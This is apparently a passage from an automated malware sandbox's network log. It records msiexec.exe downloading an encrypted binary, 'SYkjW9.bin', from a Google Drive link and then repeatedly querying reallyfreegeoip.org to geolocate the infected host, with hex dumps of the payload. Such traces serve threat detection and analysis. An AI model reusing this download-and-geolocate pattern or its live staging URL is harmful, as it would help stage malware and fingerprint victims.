2024-10-22 14:11:57 UTC	1378	IN	Data Raw: 5d 7f 2d 1f 54 18 ff ce f9 55 6d 79 d0 62 e2 a5 9d 77 da 30 9d b4 32 ba 94 d6 43 54 94 06 92 78 83 f7 0d d1 08 ed 7e e7 40 c7 bb b4 9c e8 79 50 70 37 7c 9e bc 12 00 84 d7 24 2f b1 22 b2 69 6e f0 c5 43 b7 9e ed a9 79 25 c2 86 ba 03 03 34 ab b3 cb b6 ca 2c 09 e8 c8 a4 c2 4b 85 ed 0b 91 38 08 92 40 f2 99 29 99 ba e6 16 80 ad 57 4a 6f 07 4a 6f 3f 1c 16 0b 64 a3 68 c5 b2 7e 8e b3 b6 3f a4 73 9b 12 78 d0 87 6c 1c ce 57 81 13 c3 a8 59 02 f3 3c 29 14 f6 d4 d2 be 85 1b 3c 48 3b f1 23 6c 3f 95 3c a8 e7 53 37 7c 92 09 28 74 f5 20 19 6d 72 13 73 7c d1 d2 65 c1 45 25 5b ac f8 ff 82 e4 21 5d 12 f5 3b a2 7d dd 5a 74 7d bf 83 32 05 81 a1 1c e8 54 1c ab a2 d7 6a 3c e0 86 d6 b6 8b eb 02 3e 74 6a 45 ad 1e cb 28 a9 e1 b4 f9 ce ab 12 66 e4 25 e7 1e 49 18 1a 68 2e f3 9f b2 c5 Data Ascii: ]-TUmybw02CTx~@yPp7\|$/"inCy%4,K8@)WJoJo?dh~?sxlWY<)<H;#l?<S7\|(t mrs\|eE%[!];}Zt}2Tj<>tjE(f%Ih.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49989	142.250.185.65	443	3212	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-22 14:11:54 UTC	258	OUT	GET /download?id=1rPNxWKL8K9PUiAx5BBXPJ-bVegWrIRWE&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive
2024-10-22 14:11:59 UTC	4890	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Content-Security-Policy: sandbox Content-Security-Policy: default-src 'none' Content-Security-Policy: frame-ancestors 'none' X-Content-Security-Policy: sandbox Cross-Origin-Opener-Policy: same-origin Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Resource-Policy: same-site X-Content-Type-Options: nosniff Content-Disposition: attachment; filename="SYkjW9.bin" Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: false Access-Control-Allow-Headers: Accept, Accept-Language, Authorization, Cache-Control, Content-Disposition, Content-Encoding, Content-Language, Content-Length, Content-MD5, Content-Range, Content-Type, Date, developer-token, financial-institution-id, X-Goog-Sn-Metadata, X-Goog-Sn-PatientId, GData-Version, google-cloud-resource-prefix, linked-customer-id, login-customer-id, x-goog-request-params, Host, If-Match, If-Modified-Since, If-None-Match, If-Unmodified-Since, Origin, OriginToken, Pragma, Range, request-id, Slug, Transfer-Encoding, hotrod-board-name, hotrod-chrome-cpu-model, hotrod-chrome-processors, Want-Digest, X-Ad-Manager-Impersonation, x-chrome-connected, X-ClientDetails, X-Client-Pctx, X-Client-Version, x-debug-settings-metadata, X-Firebase-Locale, X-Goog-Firebase-Installations-Auth, X-Firebase-Client, X-Firebase-Client-Log-Type, X-Firebase-GMPID, X-Firebase-Auth-Token, X-Firebase-AppCheck, X-Firebase-Token, X-Goog-Drive-Client-Version, X-Goog-Drive-Resource-Keys, X-GData-Client, X-GData-Key, X-GoogA [TRUNCATED] Access-Control-Allow-Methods: GET,HEAD,OPTIONS Accept-Ranges: bytes Content-Length: 279616 Last-Modified: Sun, 20 Oct 2024 23:54:48 GMT X-GUploader-UploadID: AHmUCY3hAvVHC8g6t9F1rgBz07yA8fP7bx1CKKPP1ExAr4kX-Mxqr3GtEDagf_YVfLF3Ri7cPu4tXb5H4g Date: Tue, 22 Oct 2024 14:11:59 GMT Expires: Tue, 22 Oct 2024 14:11:59 GMT Cache-Control: private, max-age=0 X-Goog-Hash: crc32c=epXt+A== Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-10-22 14:11:59 UTC	4890	IN	Data Raw: f4 73 a0 cc 56 d5 cf a6 de f9 b6 f7 73 b6 43 50 ef 5d dc 77 ad cc 5b 22 0c 97 cb 3d b6 89 cb af 20 10 6b 95 ad f2 f7 7f 20 0b ce 30 2c 23 c7 ff 81 1e 42 97 5f 49 fd 6a 07 b6 2c e6 88 d1 0c 67 cc dc 40 c6 50 bc 6b 23 3f d5 14 32 fa 7b 05 57 b0 2c f8 52 03 01 54 6b b3 e9 d7 99 f2 d0 6d 39 71 f3 63 04 aa b2 07 9e 1f 59 17 9e 86 b9 f4 ee 97 f3 1f 9a ea bf b1 2b 0a 57 07 cb 63 72 02 42 77 08 cc 09 ec 81 e5 34 10 9e ea 77 22 83 df ea f6 d3 e8 06 14 b6 9e 46 b6 0d 8c 89 ab f9 ae 4f a7 40 1c 7a 15 d3 bc bd 68 ef 1d dc cf 82 b7 79 3e 95 71 d3 00 d6 e1 35 6d 29 bf 56 f7 35 2b d0 7e 8b 20 70 b8 2a 20 27 a9 f2 0f e1 f6 95 41 79 d9 29 11 9a a5 50 72 3e a2 da 0e e0 e0 e6 56 9d c0 8d e0 26 17 83 29 cc 2b 7b a1 28 aa 82 39 3b 03 c2 22 b0 dc c3 8e fa f3 9d 5a e0 7c 88 4c Data Ascii: sVsCP]w["= k 0,#B_Ij,g@Pk#?2{W,RTkm9qcY+WcrBw4w"FO@zhy>q5m)V5+~ p* 'Ay)Pr>V&)+{(9;"Z\|L
2024-10-22 14:11:59 UTC	4890	IN	Data Raw: 80 19 a0 83 8c 25 03 c7 5b ec d1 8b 98 39 8d 74 58 24 6c 1a 0d 90 6a b7 2d 42 19 2a 90 a3 83 f2 2b b0 64 b6 0c 66 1f 69 6c 99 05 ec a2 8a fd d6 89 1f 40 88 2d 9e 95 9c cf bc c2 40 86 81 b5 6f e4 90 fc d9 2d 5a d2 d5 45 b2 41 2e 42 37 d5 f2 b0 fc b9 a4 23 fc de a7 09 2b f2 7f 2d 15 3e 3c e7 bc 89 5a 6d 09 72 47 fb db a5 77 da 34 3e 91 28 c8 78 d4 43 24 ee 22 89 06 b3 f7 0d d5 ef c8 62 94 63 e1 b8 c4 8f c0 0c 50 63 3d 13 d3 bc 12 22 f4 f5 3f a8 fa 25 9a 32 4b e6 bd 0a cf c2 9d 0b 56 5d 8e 32 ba 09 09 91 91 bb 34 97 c5 2c 78 25 88 bd bc 79 85 ea 08 5c 7b 12 e0 71 f6 f6 3e 3b 92 99 79 e8 a7 44 63 75 2f 4f 06 3f 16 1c 38 60 af 79 c1 92 1e fd d9 bc 3f ae 1e a1 12 69 d1 e5 25 6e a4 4a 92 65 ac b1 5b 6d 9b 14 60 1e f6 00 cd 9d ea 5d 10 40 2e df 72 6d 3f 93 36 76 Data Ascii: %[9tX$lj-B*+dfil@-@o-ZEA.B7#+-><ZmrGw4>(xC$"bcPc="?%2KV]24,x%y\{q>;yDcu/O?8`y?i%nJe[m`]@.rm?6v
2024-10-22 14:11:59 UTC	27	IN	Data Raw: 4f f3 0e bb 02 e4 94 24 e6 ec 05 b7 fa 70 47 93 56 5f b6 e8 4e 5c 7f 5d c5 64 40 Data Ascii: O$pGV_N\]d@
2024-10-22 14:11:59 UTC	1324	IN	Data Raw: 2f f6 f8 62 99 7e d3 ad 1d e0 0b 05 a0 3a 00 83 01 7d d8 90 90 65 31 81 20 ed f7 de 77 80 ee ea 08 f4 c0 c7 3c 97 77 f9 c9 21 44 bf 3e 68 76 2a 0c 53 aa b0 96 00 53 53 a4 34 21 33 96 4e 3b bd 28 8e c8 d6 ee be 1e 09 19 2b d4 b2 d4 3d 87 4c 6c 36 7e 3e e1 a3 8c f4 27 e7 00 95 fd 19 e3 82 5d ba 5b 39 57 cd 78 0a 82 68 32 8f 97 5b 8b 7d 50 88 e3 e4 b4 4a 7b c4 61 e8 5b b4 43 8d 3d 16 86 fe 71 d4 55 7e 8b ee 6c 75 48 87 36 6d 96 7f 02 b1 5b ef 07 e1 b4 5b 5b f3 58 0f 6e 4b 6f 74 27 dd 71 b4 8f 70 42 07 bc 2c cb de 1a da 59 c4 bc b3 01 2c 02 0e c5 17 14 66 b2 ae 63 f5 67 7c cc 14 cf 91 db 54 49 45 5c 01 2c b4 e4 d7 83 5f ba f6 7d e5 f4 85 b3 77 e1 98 5a 09 e1 ce e6 26 db 40 a0 05 11 6c a7 ad 2f ea 76 c4 04 6b 5d 18 a2 c6 f9 6f 73 ca cd 7d 25 e2 d8 83 bc a5 eb Data Ascii: /b~:}e1 w<w!D>hv*SSS4!3N;(+=Ll6~>'][9Wxh2[}PJ{a[C=qU~luH6m[[[XnKot'qpB,Y,fcg\|TIE\,_}wZ&@l/vk]os}%
2024-10-22 14:11:59 UTC	1378	IN	Data Raw: 68 fb f0 04 dd 82 20 8e 0a c9 b3 d5 2a 5d b0 72 cc e1 ce 00 2d 6c 2c 8e b8 8b 74 bc c2 3e 0d 90 44 b1 26 96 2c d1 a2 45 9c 98 6a b2 57 d2 e0 8f 47 6e 95 de e1 2e ed 57 60 27 5d 29 f4 13 3e eb 91 cb 1f e4 6e 1b 28 51 d3 57 6e fb 67 24 16 f7 e6 d3 c2 f9 30 62 07 1d a7 74 b3 cd e1 a7 a9 c8 14 50 11 f5 26 cc 02 e4 9e 5a d4 92 3a b3 88 23 54 b2 54 5b 8d 69 3e 22 6a 4b 3b 61 7b 60 e7 fe 51 4b 5e ad ed 63 cf 0f 2d 9a 48 31 87 01 d3 de 9d 39 51 31 8b 3c 00 d5 cd 58 f3 e9 d3 32 2b c0 c7 3c 83 f7 c8 f4 21 40 cb 1a aa 76 5a 10 53 ea b0 96 00 45 de 67 27 05 28 a1 6a 76 a8 db f4 c8 d6 eb e8 cb 7b 7d 2e bb 06 76 18 9a 64 c9 3e 11 f1 43 86 9e f8 64 e8 00 e1 30 fa fa fc 6f ba 4a 35 87 62 72 78 50 4f 86 ff 35 74 e2 a3 6a 88 93 c8 4d 6f 67 bc be 20 5b c4 eb a5 59 1e 9b 79 Data Ascii: h *]r-l,t>D&,EjWGn.W`'])>n(QWng$0btP&Z:#TT[i>"jK;a{`QK^c-H19Q1<X2+<!@vZSEg'(jv{}.vd>Cd0oJ5brxPO5tjMog [Yy
2024-10-22 14:11:59 UTC	1378	IN	Data Raw: 4b 0d c9 5c 7b 00 3f bd 0c da ae 6c 0e 32 79 69 ee 0f d6 ae a6 ee 31 40 34 73 76 26 1a 00 53 53 76 c5 e0 d3 a6 45 12 61 fe 9e c5 7d 19 b1 83 e0 c4 3e 84 2f b1 2b 89 38 3c a2 39 3d ac 40 22 2c 3d 72 03 2c 63 cf 20 79 89 43 03 cb 9d 48 ab 11 bd 99 d5 3b 51 6c 69 d0 93 7a 27 e6 1c 8e ac a2 47 74 b6 a7 62 1c 98 30 98 07 8d a5 ef 99 45 9d b9 0f 7c b3 c0 ea 90 28 4b 82 fc 55 3f e5 4c c4 6d 8b 5b 8a 16 3e 8a 35 81 c9 9a 56 11 28 7d 15 72 74 8f 5c f9 06 a2 6c cf b7 f9 3a 7b 1e 3f 99 3e c5 cd eb 73 a9 e8 14 5c 6f c0 0e bb 06 96 c3 58 d4 9c 13 9b 09 27 45 99 30 b7 9f 7a 45 4d 7e 72 f0 64 53 29 99 d5 5b 5a 78 fb 46 63 cf 01 16 a8 36 07 81 01 09 bc 9a 00 65 41 9d 1e 92 f6 cd 7a 87 17 d2 2b f8 d1 ca 05 5a 89 ff f4 37 6c cf 4d a8 7c 2a 26 7b 67 b0 96 22 24 20 66 3e 21 Data Ascii: K\{?l2yi1@4sv&SSvEa}>/+8<9=@",=r,c yCH;Qliz'Gtb0E\|(KU?Lm[>5V(}rt\l:{?>s\oX'E0zEM~rdS)[ZxFc6eAz+Z7lM\|*&{g"$ f>!
2024-10-22 14:11:59 UTC	1378	IN	Data Raw: 6c bd 8b 73 7c 4e c6 86 28 c5 23 c8 2c b4 c7 6a 45 d9 8f ee 30 df ed ec fb be 79 21 57 1b 1d e7 14 5b 44 3e 79 5b f1 b8 b3 b5 f8 95 3b 69 43 90 0a 64 82 53 dc 88 c1 19 93 0e a1 4a 37 57 cb 4d 9c 77 af fb a6 3b a7 4b 56 20 5c 7b 0c 43 03 1d dc cb cf 16 27 73 08 c1 3b 05 ae ac 9a 7a 3e 08 77 5e 68 69 c9 59 2d 63 d6 e8 a9 bf 0f 12 65 86 6b d3 69 7d 8f 11 61 c4 34 fa ba 4f 2a 9b 3d 2d a3 67 b1 ad 48 45 2c 4c 72 03 2c 63 c7 75 30 89 52 0f a3 b1 82 ab 15 c4 25 d5 2a 53 7d ea d0 93 74 0f 05 46 8e a6 c7 96 f9 f6 ad 62 0c b5 58 d0 0b 98 a1 e1 00 60 8a 95 c8 c0 b3 ca 42 da fd 39 fc f9 55 5e 4f 78 db 7c 7d 5b 8a 18 9c be 29 9c a4 95 56 6b 8a 70 6a 0c 68 89 5c 23 79 69 44 fb bd 5b 15 74 66 07 a5 5c b5 6f c9 d8 a9 e8 1e 33 4d f5 0e b1 0f ec 9d d4 bd 86 6a 0d 88 27 4f Data Ascii: ls\|N(#,jE0y!W[D>y[;iCdSJ7WMw;KV \{C's;z>w^hiY-ceki}a4O=-gHE,Lr,cu0R%S}tFbX`B9U^Ox\|}[)Vkpjh\#yiD[tf\o3Mj'O
2024-10-22 14:11:59 UTC	1378	IN	Data Raw: a4 44 13 eb 7b cb 14 f6 d4 c3 8c e1 34 96 48 3f d3 1d 7d 24 fc e7 76 f7 7c 1f 48 aa ca 22 67 d1 20 31 19 5a 65 79 a2 db d2 45 c1 37 12 5b 84 8b 8d d5 ec 21 31 89 9d ba a2 7c f2 5a f8 c1 a7 a6 53 08 ec fd 01 63 b6 39 bc dd b7 7c 4e c8 32 f3 de 5b 12 04 16 b0 42 05 a7 bc e8 92 fe 86 c5 bf be 09 33 dd bf 07 95 16 5f ba 4f d0 79 d3 87 3f f5 f8 81 ea 19 55 e2 81 5c af 23 7e a7 a4 73 37 0e d1 57 18 71 d3 3f 1f 47 b9 f5 40 1e be 67 ca 24 5c 71 a8 09 a0 6f b8 d3 bd 7e 90 5b 0d e9 60 0f 0c 8e 91 31 3e 02 60 68 50 a3 dc 53 23 02 c9 e8 ad 93 6d 5b 65 8c c3 b5 c5 7b a7 db 49 86 3e 8e 3f 5e 34 8b 25 05 ef 15 31 bb 48 e8 c2 f6 72 03 03 4b fb 0b 72 83 41 14 dd da e0 ab 11 bd 47 d5 2a 59 12 57 ae a7 7e 0f 29 6e d9 a4 cd fb 62 9e 2c 62 0d 9a 58 5c 06 9e 81 80 82 7c 4e bd Data Ascii: D{4H?}$v\|H"g 1ZeyE7[!1\|ZSc9\|N2[B3_Oy?U\#~s7Wq?G@g$\qo~[`1>`hPS#m[e{I>?^4%1HrKrAG*YW~)nb,bX\\|N
2024-10-22 14:11:59 UTC	1378	IN	Data Raw: 5c 32 e0 32 b3 6c a3 96 8e a1 b9 16 c9 2c 70 66 ea b4 d3 72 85 ed 05 33 c1 cc f3 5e d9 ad 59 3b 98 80 12 80 8f 26 69 79 25 e1 0c 39 16 16 2b 64 af 16 f7 9a 09 8a c1 eb 3d a4 7d b2 3a f9 d4 96 44 78 5a 41 92 66 ac b2 60 c8 f5 14 60 6a d9 de c3 99 89 6a 3e 48 4f cf 35 ed 3f 93 36 60 09 77 0c 4e 83 0f 1b 57 d0 20 31 0f 66 ed 7f 9f d1 d2 63 b2 fb 12 5b a6 d4 4c d5 e6 2b 2d 77 1f ba a2 77 c4 4b 9b 7b d2 9c 23 20 a9 8e c2 65 14 16 c4 67 f2 7c 44 cc 81 d1 a9 ec ce 15 1c be 57 45 a7 b8 81 f6 db 9f b1 f9 af 0e 45 f5 8a 1d 97 36 f9 ba 3f 78 2e 68 8c b2 c5 d0 da eb 3c 49 ff cc 4c af 59 dc 93 b4 46 0e 4e d1 5d bb 71 dd 3f b1 44 b9 f5 40 1e b0 67 ca 24 5c 71 a8 09 a2 6f a2 ce bd 7e 90 56 61 97 58 05 ae a2 46 14 24 7a 48 75 22 19 6b 76 48 02 f6 e8 ad 93 e7 37 79 fe f1 Data Ascii: \22l,pfr3^Y;&iy%9+d=}:DxZAf``jj>HO5?6`wNW 1fc[L+-wwK{# eg\|DWEE6?x.h<ILYFN]q?D@g$\qo~VaXF$zHu"kvH7y
2024-10-22 14:11:59 UTC	1378	IN	Data Raw: 5d 7f 2d 1f 54 18 ff ce f9 55 6d 79 d0 62 e2 a5 9d 77 da 30 9d b4 32 ba 94 d6 43 54 94 06 92 78 83 f7 0d d1 08 ed 7e e7 40 c7 bb b4 9c e8 79 50 70 37 7c 9e bc 12 00 84 d7 24 2f b1 22 b2 69 6e f0 c5 43 b7 9e ed a9 79 25 c2 86 ba 03 03 34 ab b3 cb b6 ca 2c 09 e8 c8 a4 c2 4b 85 ed 0b 91 38 08 92 40 f2 99 29 99 ba e6 16 80 ad 57 4a 6f 07 4a 6f 3f 1c 16 0b 64 a3 68 c5 b2 7e 8e b3 b6 3f a4 73 9b 12 78 d0 87 6c 1c ce 57 81 13 c3 a8 59 02 f3 3c 29 14 f6 d4 d2 be 85 1b 3c 48 3b f1 23 6c 3f 95 3c a8 e7 53 37 7c 92 09 28 74 f5 20 19 6d 72 13 73 7c d1 d2 65 c1 45 25 5b ac f8 ff 82 e4 21 5d 12 f5 3b a2 7d dd 5a 74 7d bf 83 32 05 81 a1 1c e8 54 1c ab a2 d7 6a 3c e0 86 d6 b6 8b eb 02 3e 74 6a 45 ad 1e cb 28 a9 e1 b4 f9 ce ab 12 66 e4 25 e7 1e 49 18 1a 68 2e f3 9f b2 c5 Data Ascii: ]-TUmybw02CTx~@yPp7\|$/"inCy%4,K8@)WJoJo?dh~?sxlWY<)<H;#l?<S7\|(t mrs\|eE%[!];}Zt}2Tj<>tjE(f%Ih.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49992	188.114.97.3	443	4460	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-22 14:12:04 UTC	87	OUT	GET /xml/173.254.250.76 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-10-22 14:12:04 UTC	895	IN	HTTP/1.1 200 OK Date: Tue, 22 Oct 2024 14:12:04 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 31680 Last-Modified: Tue, 22 Oct 2024 05:24:04 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=X2GJF%2BNOvrBe5IL7%2F4VAJDw6aOyquP7yB8Ff55gYV76WdVnoj7GINEhjJ1vKSFJiLlZQMrj5r67FlVr9GKvSARzQw5sXrsnztc%2BI89aEXU3trZJ1rIVFePdX0I5dIv%2FO4S29sG1Z"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d6a14872ba3465f-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=989&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2851&recv_bytes=701&delivery_rate=2806201&cwnd=247&unsent_bytes=0&cid=44a4f90c91f50a49&ts=162&x=0"
2024-10-22 14:12:04 UTC	366	IN	Data Raw: 31 36 37 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 36 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 Data Ascii: 167<Response><IP>173.254.250.76</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</Time
2024-10-22 14:12:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49993	188.114.97.3	443	4460	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-22 14:12:05 UTC	63	OUT	GET /xml/173.254.250.76 HTTP/1.1 Host: reallyfreegeoip.org
2024-10-22 14:12:05 UTC	908	IN	HTTP/1.1 200 OK Date: Tue, 22 Oct 2024 14:12:05 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 31681 Last-Modified: Tue, 22 Oct 2024 05:24:04 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=14rub%2FvgsZNu7q1l7Dn3OUXr1o6U%2FrQU8qmxrKxQ8%2BujUlpqPgJjl9D%2Fg91FNrymQV%2FQFJl%2FhCf%2BQqTe3GwRG9zMYnJKcSnmcKtb4C7TgAVQ%2FqO%2F6xDCs%2FQ96bKa3yZfZ7HCUM7U"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d6a148d88d86b9a-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1274&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2851&recv_bytes=701&delivery_rate=2220858&cwnd=226&unsent_bytes=0&cid=9cfb64ec4d1406c1&ts=154&x=0"
2024-10-22 14:12:05 UTC	366	IN	Data Raw: 31 36 37 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 36 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 Data Ascii: 167<Response><IP>173.254.250.76</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</Time
2024-10-22 14:12:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49994	188.114.97.3	443	3212	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-22 14:12:05 UTC	87	OUT	GET /xml/173.254.250.76 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-10-22 14:12:05 UTC	894	IN	HTTP/1.1 200 OK Date: Tue, 22 Oct 2024 14:12:05 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 31681 Last-Modified: Tue, 22 Oct 2024 05:24:04 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TySsJ7rSEMJwL5X8sZZrxErADDYwQUv4jhFfy04h7MXwXBsdp4uGnU0f3sIOo5a%2FkatSq7P4MRem%2FpZZrcyRNNs5lZWczNNFAtZx8wHGBBpegYhvB92JXzz%2FDnwZfe0wAvObU97j"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d6a148ed9426b61-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1289&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=701&delivery_rate=2118507&cwnd=251&unsent_bytes=0&cid=192de139eb74c059&ts=173&x=0"
2024-10-22 14:12:05 UTC	366	IN	Data Raw: 31 36 37 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 36 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 Data Ascii: 167<Response><IP>173.254.250.76</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</Time
2024-10-22 14:12:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49996	188.114.97.3	443	3212	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-22 14:12:06 UTC	63	OUT	GET /xml/173.254.250.76 HTTP/1.1 Host: reallyfreegeoip.org
2024-10-22 14:12:06 UTC	894	IN	HTTP/1.1 200 OK Date: Tue, 22 Oct 2024 14:12:06 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 31682 Last-Modified: Tue, 22 Oct 2024 05:24:04 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Tz5SowAvXuWRVCRi8r2iKBGNDVwoa3JUXFnbQgIm1j6rtGcDg2nn84DH%2Fd0toAIN2Wq0kTjdDT9iXUcRwc7%2F9w581WmAFW8FVSHcuu%2BTSIvT2gWOxDEzChO2KVExFrUpEwV3R53m"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d6a14960d7f2caa-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1448&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2851&recv_bytes=701&delivery_rate=1450901&cwnd=251&unsent_bytes=0&cid=9b7f62fdd6adbb58&ts=154&x=0"
